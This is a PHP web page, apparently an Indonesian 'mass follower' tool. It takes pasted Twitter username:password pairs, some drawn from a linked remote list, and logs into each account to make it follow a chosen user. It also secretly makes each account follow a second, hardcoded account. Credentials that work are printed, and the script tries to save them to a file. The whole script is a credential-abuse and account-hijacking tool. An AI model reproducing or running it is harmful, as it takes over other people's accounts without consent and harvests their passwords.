<?php
   set_time_limit(false);
   error_reporting(false);
?>
<html>
<title>Twitter Follower Massal</title>
<head>
<link href="https://twitter.com/phoenix/favicon.ico" rel="shortcut icon" type="image/x-icon" />

<style type="text/css">
body{
   background: url("http://dl.dropbox.com/u/42331717/image/bg.gif") repeat top center fixed;
   font-family:Droid Serif;
   font-size:16px;
   color:red;
   scrollbar-face-color: #FF0000;
   scrollbar-highlight-color: green;
   scrollbar-shadow-color: #000000;
   scrollbar-3dlight-color: red;
   scrollbar-arrow-color: #FF0000;
   scrollbar-track-color: #cc0000;
   scrollbar-darkshadow-color: red;
}
input,textarea{
   font-family:Droid Serif;
   font-size:13px;
   color:#FF0000;
   background-color: SkyBlue;
   border:2px solid red;
}
input.button, div#facebook-publisher input.button {
  background-color: #617AAC;
  background-image: url(https://twitter.com/phoenix/favicon.ico);
  background-repeat: no-repeat;
  background-position: 4px 2px;
  color: #FFFFFF;
  font-weight: bold;
  border: 1px outset #29447E;
 -moz-border-radius: 5px; border-radius: 5px;
  padding:2px 7px 2px 20px;
  font-family: 'lucida grande',tahoma,verdana,arial,sans-serif;
  cursor: pointer;
  margin-top:5px;
}
input.button:hover, div#facebook-publisher input.button:hover {
  background-color: #011A4C;
  color: yellow;
}
</style>
   <script type="text/javascript">
      function countFakes()
         {
            document.getElementById("count").innerHTML =
               document.getElementById("sempax").value.split("\n").length;
         }
   </script>
</head>
<center>
<h3>Twitter Follower Massal</h3><br>
<form method="POST" action="">
<textarea name="sempax" id="sempax" onKeyDown="countFakes()" onChange="countFakes()"></textarea><br>Full user id+password follower: <a href="http://www.gusbur.info/follow/list.txt" target="_blank" /><blink>klik disini</blink></a><br />
<font id="count" style="font-weight: bold;">0</font> Twitter ID.<br /><br />
<font face="Verdana">Masukkan id twitter yg mau di Follow:</font><br />
@ <input type="text" name="follow" id="follow" value="" /><br /><br />
<input class="button" type="submit" value="Follow Gan!" id="btn">
<br /><br />
</form>
</body>
<footer>
<center>
<a href="https://twitter.com/marahmerah" class="twitter-follow-button" data-show-count="false">Follow @marahmerah</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script> <a href="https://twitter.com/share" class="twitter-share-button" data-url="http://gusbur.info/follow/" data-text="Auto Follower" data-via="marahmerah" data-lang="id" data-hashtags="agendosa">Tweet</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
</center>
</footer>
<?php
if (isset($_POST["sempax"]))
   {
      $logins = explode("\n", $_POST["sempax"]);
      $follow = $_POST["follow"];
      $jumilah = count($logins);
      for($i = 0; $i <= $jumilah; $i++)
         {
   //$logins[$i] = preg_replace("/^\d+\:/i", "", $logins[$i]);
if (!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i])))
{
continue;
}
            $data = explode(":", $logins[$i]);
            if ($data[0][0] == "@")
               $data[0] = str_replace("@", "", $data[0]);
            $ch = curl_init();
            curl_setopt_array($ch,
                 array(
                     CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",
                CURLOPT_RETURNTRANSFER => 1,
                     CURLOPT_SSL_VERIFYPEER => 0,
                     CURLOPT_COOKIE => null,
                     CURLOPT_HEADER => true,
                     CURLOPT_NOBODY => false,
                     CURLOPT_POSTFIELDS => "&follow=true",
                CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1])
                 )
               );
            $ret = curl_exec($ch);
            curl_setopt($ch, CURLOPT_URL, "http://api.twitter.com/1/friendships/create/fraseslandia.xml");
            curl_exec($ch);
            if (preg_match("/Unauthorized/i", $ret)) {

}
            else {

$konten   =   "".$togel.":".$kirim."\r\n";
   $cekulkas   =   "user.txt";
   if (!$sirep = fopen($cekulkas, "a")) {
        echo  "Kesalahan Membuka Berkas ($cekulkas)";
        exit;
    }

   if (!fwrite($sirep, $konten)) {
        print "Kesalahan Email ($email1)";
        exit;
    }

   fclose($sirep);
            echo "".$data[0].":".$data[1]."<br>";
}
            flush();
            ob_flush();
         }
   }
?>
